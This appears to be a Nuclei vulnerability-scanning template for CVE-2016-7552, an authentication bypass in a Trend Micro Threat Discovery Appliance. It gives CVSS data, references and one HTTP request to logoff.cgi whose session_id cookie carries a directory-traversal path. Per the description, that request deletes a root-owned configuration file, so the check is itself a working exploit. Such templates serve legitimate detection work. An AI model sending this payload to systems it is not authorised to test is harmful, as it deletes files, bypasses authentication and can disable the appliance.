id: CVE-2016-7552

info:
  name: Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass
  author: dwisiswant0
  severity: critical
  description: Trend Micro Threat Discovery Appliance 2.6.1062r1 is vulnerable to a  directory traversal vulnerability when processing a session_id cookie, which allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the appliance.
  remediation: |
    Apply the necessary patch or update provided by Trend Micro to fix the authentication bypass vulnerability.
  reference:
    - https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7552
    - https://github.com/rapid7/metasploit-framework/pull/8216/commits/0f07875a2ddb0bfbb4e985ab074e9fc56da1dcf6
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-7552
    cwe-id: CWE-22
    epss-score: 0.93249
    epss-percentile: 0.99822
    cpe: cpe:2.3:a:trendmicro:threat_discovery_appliance:2.6.1062:r1:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: trendmicro
    product: threat_discovery_appliance
  tags: cve2016,cve,msf,lfi,auth,bypass,trendmicro,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/logoff.cgi"

    headers:
      Cookie: "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Memory map"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b1790a8ec89270ca75b429977dc0b0c999c6ef8799f67f22d25fd492ba6d11f10220022e4533a087ae061f6563a23f1e8d3845daaff5bb5b45876452a9bc4659ade5:922c64590222798bb761d5b6d8e72950